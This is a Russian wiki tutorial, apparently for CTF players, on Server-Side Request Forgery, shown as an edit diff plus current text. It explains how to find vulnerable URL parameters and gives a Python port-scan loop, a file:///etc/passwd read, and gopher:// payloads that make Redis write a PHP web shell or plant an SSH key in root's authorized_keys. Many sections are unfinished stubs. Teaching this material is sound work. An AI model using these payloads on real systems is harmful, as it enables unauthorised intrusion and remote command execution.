Ssrf — различия между версиями
Drakylar (обсуждение | вклад) м |
Drakylar (обсуждение | вклад) м (→Райтапы) |
||
(не показано 9 промежуточных версий этого же участника) | |||
Строка 1: | Строка 1: | ||
− | SSRF(Server-Side Request Forgery) - это | + | SSRF(Server-Side Request Forgery) - это возможность передавать url, по которому впоследствии перейдет уязвимый сервер. |
− | + | Статья разделена на поиск уязвимого параметра для передачи URL и уже непосредственно эксплуатацию. | |
==Поиск== | ==Поиск== | ||
− | ( | + | Данная тема может появляться в разных тематиках и обозначаться разными ключевыми словами. |
+ | |||
+ | ===Прокси=== | ||
+ | |||
+ | Самое типичное - возможность использования скрипта как веб-прокси. | ||
+ | |||
+ | [[Файл:Proxy.png]] | ||
+ | |||
+ | Если вы анализируете непосредственно HTTP запросы, то может быть следующее: | ||
+ | |||
+ | POST /proxy.php HTTP/1.1 | ||
+ | Host: coolserver.com | ||
+ | |||
+ | url=http://ipwnedyourscript.org | ||
+ | |||
+ | ===Скачивание файлов=== | ||
+ | |||
+ | Всем известный пример - скачивание аватарки по http без проверки типа файла. | ||
+ | |||
+ | [[Файл:Imageurl.png]] | ||
+ | |||
+ | Но так же это происходит и при скачивании файлов любых форматов: | ||
+ | |||
+ | [[Файл:Filebyurl.png]] | ||
+ | |||
+ | Иногда это может перейти в другие уязвимости, например File Upload + LFI = RCE (или сразу shell upload). | ||
+ | О них вы можете почитать в соответствующих статьях. | ||
+ | |||
+ | Данный случай рассматривается '''ТОЛЬКО''' в случае наличия фильтрации, не позволяющий запуск произвольного кода. | ||
==Эксплуатация== | ==Эксплуатация== | ||
Строка 13: | Строка 41: | ||
===Помощь при эксплуатации=== | ===Помощь при эксплуатации=== | ||
− | + | Есть два случая - с автоматически приписывающемся префиксом и соответственно с изначальным его отсутствием. | |
+ | |||
+ | Если у вас приписывается автоматически и вы знаете какой, то переходите в соответствующую вкладку префикса далее. | ||
+ | Иначе пройдитесь по всем вкладкам и посмотрите, что может подойти именно к вашему скоупу. | ||
+ | |||
====Префикс http(s)==== | ====Префикс http(s)==== | ||
− | ( | + | Разделим на возможности |
+ | |||
+ | '''1. Возможность получить сервер, доступ к которому есть только в локальной сети/для whitelist ip адресов''' | ||
+ | |||
+ | GET /proxy.php?url=(http://)whitelisted.com | ||
+ | Host: cooolserver.com | ||
+ | |||
+ | '''2. '''Возможность направить прокси на наш сниффер и получить скрытые заголовки (в них иногда может спрятаться флаг или информация о сервере). | ||
+ | |||
+ | GET /proxy.php?url=192.168.1.1 HTTP/1.1 | ||
+ | Host: cooolserver.com | ||
+ | |||
+ | '''3. '''Сканирование доступных портов | ||
+ | |||
+ | Сделать это удобнее всего с помощью burpsuite intruder: | ||
+ | |||
+ | [[Файл:PortScanSSRF1.png]] | ||
+ | [[Файл:PortScanSSRF2.png]] | ||
+ | [[Файл:PortScanSSRF3.png]] | ||
+ | |||
+ | |||
+ | Или реализовать скрипт/вручную, отсылая следующие строки по socket'ам: | ||
+ | |||
+ | '''HTTP:''' | ||
+ | |||
+ | GET /proxy.php?url=127.0.0.1:(1..65535) HTTP/1.1 | ||
+ | Host: cooolserver.com | ||
+ | |||
+ | '''Python:''' | ||
+ | |||
+ | <syntaxhighlight lang="python" line="1" style="overflow-x:scroll" > | ||
+ | import requests | ||
+ | for x in range(1,65536): | ||
+ | r = requests.get( 'http://cooolserver.com/proxy.php?url=127.0.0.1:'+str(x) ) | ||
+ | if r.text != '':print(x) | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | '''Perl''' | ||
+ | |||
+ | <syntaxhighlight lang="perl" line="1" style="overflow-x:scroll" > | ||
+ | код на перле | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | '''C/C++''' | ||
+ | |||
+ | <syntaxhighlight lang="perl" line="1" style="overflow-x:scroll" > | ||
+ | код на Си | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | |||
+ | '''Ruby''' | ||
+ | |||
+ | <syntaxhighlight lang="perl" line="1" style="overflow-x:scroll" > | ||
+ | код на руби | ||
+ | </syntaxhighlight> | ||
====Префикс file==== | ====Префикс file==== | ||
− | + | file:// позволяет читать файлы из файловой системы | |
+ | |||
+ | Например | ||
+ | |||
+ | file:///etc/passwd | ||
+ | |||
+ | будет считывать файл /etc/passwd | ||
====Префикс tftp==== | ====Префикс tftp==== | ||
Строка 28: | Строка 120: | ||
====Префикс gopher==== | ====Префикс gopher==== | ||
− | ( | + | Префикс требуется для общения по socket'ам. |
+ | |||
+ | Пример реализации - запрос gopher://127.0.0.1:8080/11234%250a6789 отошлет следующее: | ||
+ | |||
+ | 1234\n | ||
+ | 6789 | ||
+ | |||
+ | Не забывайте, что \n нужно кодировать дважды (urlencode) - %250a, чтобы на сервер пришла строка с %0a которая впоследствии пойдет в http клиент. | ||
====Префикс dict==== | ====Префикс dict==== | ||
Строка 46: | Строка 145: | ||
====Чтение локальных файлов==== | ====Чтение локальных файлов==== | ||
− | ( | + | '''Первый способ''' - file://<path> (выше пример был) |
+ | |||
+ | |||
+ | '''Второй способ''' - ftp? | ||
+ | |||
+ | |||
+ | |||
+ | ====Загрузка файлов==== | ||
+ | |||
+ | Если файл сохраняется под именем, который был на нашей введенной ссылке, то таким образом скорее всего возможно загрузить shell. | ||
− | |||
− | + | Для этого требуется отослать ссылку на .php или другие программные форматы. | |
====Подключение к сервисам за фаерволом==== | ====Подключение к сервисам за фаерволом==== | ||
Строка 62: | Строка 169: | ||
(перечисляешь способы + скрипты реализации) | (перечисляешь способы + скрипты реализации) | ||
+ | |||
+ | ====Redis==== | ||
+ | |||
+ | Если открыт порт Redis (по-умолчанию это 6379), то при наличии прав мы можем создавать файлы с нужным содержимым. | ||
+ | |||
+ | =====Загрузка PHP шелла===== | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div"> | ||
+ | gopher://127.0.0.1:6379/_config%2520set%2520dir%2520/var/www/html%250d%250aconfig%2520set%2520dbfilename%2520shell.php%250d%250aset%2520test%2520"<%253fphp%2520system($_GET['c']);%2520%253f>"%250d%250asave%250d%250aQUIT%250d%250a | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | =====Добавление SSH сертификата===== | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div"> | ||
+ | gopher://127.0.0.1:6379/_config%2520set%2520dir%2520/root/.ssh%250d%250aconfig%2520set%2520dbfilename%2520authorized_keys%250d%250aset%2520test%2520"<содержимое публичного ключа id_rsa.pub>"%250d%250asave%250d%250aQUIT%250d%250a | ||
+ | </syntaxhighlight> | ||
==Особенности ПО== | ==Особенности ПО== | ||
Строка 82: | Строка 205: | ||
==Райтапы== | ==Райтапы== | ||
− | + | [https://github.com/PDKT-Team/ctf/tree/master/hitcon2018/baby-cake Baby Cake] | |
==Полезные ссылки== | ==Полезные ссылки== | ||
− | + | [https://dsec.ru/wp-content/uploads/2018/09/techtrain_ssrf.pdf Презентация Digital Security] |
Текущая версия на 21:41, 24 октября 2018
SSRF(Server-Side Request Forgery) - это возможность передавать url, по которому впоследствии перейдет уязвимый сервер.
Статья разделена на поиск уязвимого параметра для передачи URL и уже непосредственно эксплуатацию.
Содержание
Поиск
Данная тема может появляться в разных тематиках и обозначаться разными ключевыми словами.
Прокси
Самое типичное - возможность использования скрипта как веб-прокси.
Если вы анализируете непосредственно HTTP запросы, то может быть следующее:
POST /proxy.php HTTP/1.1 Host: coolserver.com url=http://ipwnedyourscript.org
Скачивание файлов
Всем известный пример - скачивание аватарки по http без проверки типа файла.
Но так же это происходит и при скачивании файлов любых форматов:
Иногда это может перейти в другие уязвимости, например File Upload + LFI = RCE (или сразу shell upload). О них вы можете почитать в соответствующих статьях.
Данный случай рассматривается ТОЛЬКО в случае наличия фильтрации, не позволяющий запуск произвольного кода.
Эксплуатация
(что требуется для эксплуатации - что не должно фильтроваться)
Помощь при эксплуатации
Есть два случая - с автоматически приписывающемся префиксом и соответственно с изначальным его отсутствием.
Если у вас приписывается автоматически и вы знаете какой, то переходите в соответствующую вкладку префикса далее. Иначе пройдитесь по всем вкладкам и посмотрите, что может подойти именно к вашему скоупу.
Префикс http(s)
Разделим на возможности
1. Возможность получить сервер, доступ к которому есть только в локальной сети/для whitelist ip адресов
GET /proxy.php?url=(http://)whitelisted.com Host: cooolserver.com
2. Возможность направить прокси на наш сниффер и получить скрытые заголовки (в них иногда может спрятаться флаг или информация о сервере).
GET /proxy.php?url=192.168.1.1 HTTP/1.1 Host: cooolserver.com
3. Сканирование доступных портов
Сделать это удобнее всего с помощью burpsuite intruder:
Или реализовать скрипт/вручную, отсылая следующие строки по socket'ам:
HTTP:
GET /proxy.php?url=127.0.0.1:(1..65535) HTTP/1.1 Host: cooolserver.com
Python:
import requests
for x in range(1,65536):
r = requests.get( 'http://cooolserver.com/proxy.php?url=127.0.0.1:'+str(x) )
if r.text != '':print(x)
Perl
код на перле
C/C++
код на Си
Ruby
код на руби
Префикс file
file:// позволяет читать файлы из файловой системы
Например
file:///etc/passwd
будет считывать файл /etc/passwd
Префикс tftp
(обьяснение с примером)
Префикс gopher
Префикс требуется для общения по socket'ам.
Пример реализации - запрос gopher://127.0.0.1:8080/11234%250a6789 отошлет следующее:
1234\n 6789
Не забывайте, что \n нужно кодировать дважды (urlencode) - %250a, чтобы на сервер пришла строка с %0a которая впоследствии пойдет в http клиент.
Префикс dict
(обьяснение с примером)
Префикс rtsp
(обьяснение с примером)
(добавь еще префиксов)
Вектора атак
Чтение локальных файлов
Первый способ - file://<path> (выше пример был)
Второй способ - ftp?
Загрузка файлов
Если файл сохраняется под именем, который был на нашей введенной ссылке, то таким образом скорее всего возможно загрузить shell.
Для этого требуется отослать ссылку на .php или другие программные форматы.
Подключение к сервисам за фаерволом
(перечисляешь способы)
Сканирование портов
(перечисляешь способы + скрипты реализации)
Redis
Если открыт порт Redis (по-умолчанию это 6379), то при наличии прав мы можем создавать файлы с нужным содержимым.
Загрузка PHP шелла
gopher://127.0.0.1:6379/_config%2520set%2520dir%2520/var/www/html%250d%250aconfig%2520set%2520dbfilename%2520shell.php%250d%250aset%2520test%2520"<%253fphp%2520system($_GET['c']);%2520%253f>"%250d%250asave%250d%250aQUIT%250d%250a
Добавление SSH сертификата
gopher://127.0.0.1:6379/_config%2520set%2520dir%2520/root/.ssh%250d%250aconfig%2520set%2520dbfilename%2520authorized_keys%250d%250aset%2520test%2520"<содержимое публичного ключа id_rsa.pub>"%250d%250asave%250d%250aQUIT%250d%250a
Особенности ПО
Curl
(что поддерживает)
Requests
(что поддерживает)
(добавь свое - например робобраузеры)
Примеры из тасков
(примеры использования каких то векторов)